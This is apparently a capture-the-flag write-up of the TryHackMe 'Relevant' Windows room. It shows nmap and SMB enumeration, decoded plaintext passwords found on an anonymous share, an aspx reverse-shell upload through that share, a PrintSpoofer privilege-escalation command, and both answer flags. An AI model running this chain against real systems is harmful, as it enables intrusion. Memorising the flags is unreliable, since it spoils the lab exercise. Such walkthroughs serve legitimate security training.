Relevant server writeup#
URL https://tryhackme.com/room/relevant
Enumeration#
port scan show following:
Nmap scan report for 10.114.157.10 Host is up (0.021s latency). Not shown: 65527 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services 49663/tcp open http Microsoft IIS httpd 10.0 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Executing sudo nmap -p 88,135,139,445,3389,49663,49666,49668 -sV -sC -T4 -Pn -oA 10.114.157.10 10.114.157.10 --stats-every=30s for details:
Nmap scan report for 10.114.157.10
Host is up (0.021s latency).PORT STATE SERVICE VERSION
88/tcp filtered kerberos-sec
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-05-13T11:53:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2026-05-12T11:24:21
|Not valid after: 2026-11-11T11:24:21
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
| System_Time: 2026-05-13T11:53:10+00:00
49663/tcp open http Microsoft IIS httpd 10.0
|http-server-header: Microsoft-IIS/10.0
| http-methods:
| Potentially risky methods: TRACE
|_http-title: IIS Windows Server
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-05-13T11:53:15
|_ start_date: 2026-05-13T11:24:20
|clock-skew: mean: 1h23m59s, deviation: 3h07m51s, median: -1s
| smb2-security-mode:
| 3.1.1:
| Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-05-13T04:53:13-07:00Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.31 seconds
SMB enumeration#
smbclient -L //10.114.157.10/ -U anonymous
Password for [WORKGROUP\anonymous]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC nt4wrksv DiskReconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.114.157.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
exploring nt4wrksv share#
smbclient //10.114.132.129/nt4wrksv -U anonymous
found passwords.txt containing
[User Passwords - Encoded] Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk decoded using https://hashes.com/en/decrypt/hash
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk:Bill - Juw4nnaM4n420696969!$$$
Qm9iIC0gIVBAJCRXMHJEITEyMw==:Bob - !P@$$W0rD!123
verify login on smb#
Bob#
smbclient //10.114.132.129/nt4wrksv -W RELEVANT -U 'Bob%!P@$$W0rD!123'
/Bob NT_STATUS_BAD_NETWORK_NAME
/IPC$ success
/ADMIN$ NT_STATUS_ACCESS_DENIED
/C$ NT_STATUS_ACCESS_DENIED
Bill#
smbclient //10.114.132.129/nt4wrksv -W RELEVANT -U 'Bill%Juw4nnaM4n420696969!$$$'
/Bill NT_STATUS_ACCESS_DENIED /IPC$ success /ADMIN$ NT_STATUS_ACCESS_DENIED /C$ NT_STATUS_ACCESS_DENIED
attempting rdp#
rdesktop 10.114.132.129 -d RELEVANT -u Bob -p '!P@$$W0rD!123'
rdesktop 10.114.132.129 -d RELEVANT -u Bill -p 'Juw4nnaM4n420696969!$$$'
xfreerdp3 /v:10.114.132.129 /u:RELEVANT\\Bob /p:'!P@$$W0rD!123' /cert:ignore
xfreerdp3 /v:10.114.175.221 /u:Bob /cert:ignore ERRCONNECT_PASSWORD_CERTAINLY_EXPIRED [0x0002000F]
changing password via smb#
smbpasswd -r 10.114.175.221 -U Bob
!K0d3Ordet!
smbpasswd -r 10.114.175.221 -U Bob Old SMB password: New SMB password: Retype new SMB password: machine 10.114.175.221 rejected the password change: Error was : The transport connection is now disconnected..
Investigating port 49663#
gobuster dir -url http://10.114.165.47:49663 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
/ (Status: 400) [Size: 3420]
checkout (Status: 400) [Size: 3420]
docroot (Status: 400) [Size: 3420]
(Status: 400) [Size: 3420]devinmoore* (Status: 400) [Size: 3420]
200109* (Status: 400) [Size: 3420]
*sa_ (Status: 400) [Size: 3420]
*dc_ (Status: 400) [Size: 3420]
nt4wrksv (Status: 301) [Size: 159] [--> http://10.114.165.47:49663/nt4wrksv/]
- uploaded a index.html file via the smb share to verify that it is the same dir - works!
- verified that asp/aspx files are allowed
- downloaded https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx asp reverse shell
- got a shell
get user flag#
c:\Users\Bob\Desktop>type user.txt THM{fdk4ka34vk346ksxfr21tg789ktf45}
privesc#
- downloaded printspoofer
- uploaded it to the nt4wrksv share
- navigated to c:\inetpub\wwwroot\nt4wrksv
- executed
PrintSpoofer64.exe -i -c cmdto get an administrator console type c:\Users\Administrator\Desktop\root.txtFlag found: THM{1fk5kf469devly1gl320zafgl345pv}
Tags#
#THM #TryHackMe #Pentest